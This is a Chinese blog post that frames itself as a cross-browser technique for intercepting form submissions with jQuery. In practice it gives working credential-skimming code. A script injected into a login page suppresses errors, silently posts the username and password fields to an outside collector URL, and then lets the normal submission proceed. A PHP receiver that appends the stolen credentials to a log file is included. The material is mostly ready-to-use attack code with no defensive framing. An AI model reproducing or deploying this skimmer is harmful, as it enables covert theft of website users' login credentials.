js实现Form表单submit提交截获数据（各浏览器通用）

时间：2024-03-02 21:13:45

js实现Form表单submit提交截获数据（各浏览器通用）

No Comments | js , 安全 , PHP | by calms | 96 Views. | 2013-09-03, 11:32 PM

以下test.html是一个实例，主要讲述和演示了这样一种需求：截获submit事件，中断处理完后，继续用户提交。

实现起来其实并不是很难，但是要兼容所有的浏览器或者说绝大多数的浏览器就需要好好处理一下了。我已经为此做了一点尝试（使用了jquery，满足基本的兼容要求），分享给大家，少走弯路。

test.html如下，源码中有中一个id为main的form中有两个表单项，如下：

01 ..............
02 <scriptsrc="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
03 </head>
04 <body>
05 ..............
06 <form id="main" action="http://blog.uyy.me/" method="post">
07 <input id="username" name="username"  type="text">
08 <input id="password" name="password"  type="text">
09 </form>
10 ..............
11 <script src="get.js"></script>
12 </body>
13 </html>

我的方案是使用jquery,因为jquery已经有很好的兼容性。主要是在截获form的submit事件以及发送数据上具有兼容性。以下代码在ie(6、7、8、9、10）,chrome,firefox,opera,safari五类浏览器中测试通过，思路很简单：截获submit事件，处理完后继续submit。至于这样写能做些什么事就是仁者见仁，智者见智了。

01 _psturl="http://localhost/get_form.php";//此处填写接收数据的php
02 window.onerror = function() { return true; }//想报错，门呢？
03 jQuery(\'#main\').removeAttr(\'onsubmit\').unbind("submit").submit(function(e){
04 //removeAttr（\'onsubmit\'）移除onsuumit属性，unbind（"submit"）移除所有绑定在submit事件上的程序。截获submit事件。
05 //也许你已经发现，对，这里其实可以只使用unbind（"submit"）。
06  
07 checksubmit();//这里是真正要干事的地方，比如将某些数据传输走。。
08  
09 if($.browser.msie) return true;//在ie下必须返回true,test.html页面才会照常提交，可喜的是cheksubmit()中post出去了。。
10 else if($.browser.safari) return false;//而在safari下，如果不阻断submit事件（返回false就是截断了）checksubmit()中的ajax提交不会成功。所以checksubmit()函数中的jQuery.post需要使用回调函数。
11 else if($.browser.mozilla) return false;//这里无所谓了，返回true和返回false都可以了。。
12 else if($.browser.opera) return false;//这里无所谓了，返回true和返回false都可以了。。
13 else return false;//这里无所谓了，返回true和返回false都可以了。。因为我认为除了ie之外的这几种浏览器都比较遵循w3c标准，比ie更能接受人的正常逻辑。。。
14 });
15 //这里不解释。。
16 function checksubmit(){
17     jQuery.post(_psturl+"?t="+Math.random(), { "u": $("#username").val(),"p": $("#password").val() },
18     function(data){jQuery(\'#main\').removeAttr(\'onsubmit\').unbind("submit").submit()} );
19 };

我想数据接收端也有人需要吧。。好吧，我贴出来：

 

01 <?php
02 /*the code of get_form.php*/
03 date_default_timezone_set("America/Los_Angeles");
04 set_time_limit(0);
05 exit(addLog("youwant.txt"));
06  
07  
08 function addLog($file="a_test.txt"){
09     $fp = @fopen($file, \'a+\');
10     if($fp){
11         $str = date("Y-m-d H:i:s")."\t";
12         $str .= _post(\'u\')."\t";
13         $str .= _post(\'p\')."\r\n";
14         fwrite($fp, $str);
15         fclose($fp);
16     }
17     return("0");
18 }
19  
20 function _post($str){
21     $val = !empty($_POST[$str]) ? $_POST[$str] : null;
22     if(get_magic_quotes_gpc()) $val=stripslashes($val);
23         return $val;
24 }
25   
26 ?>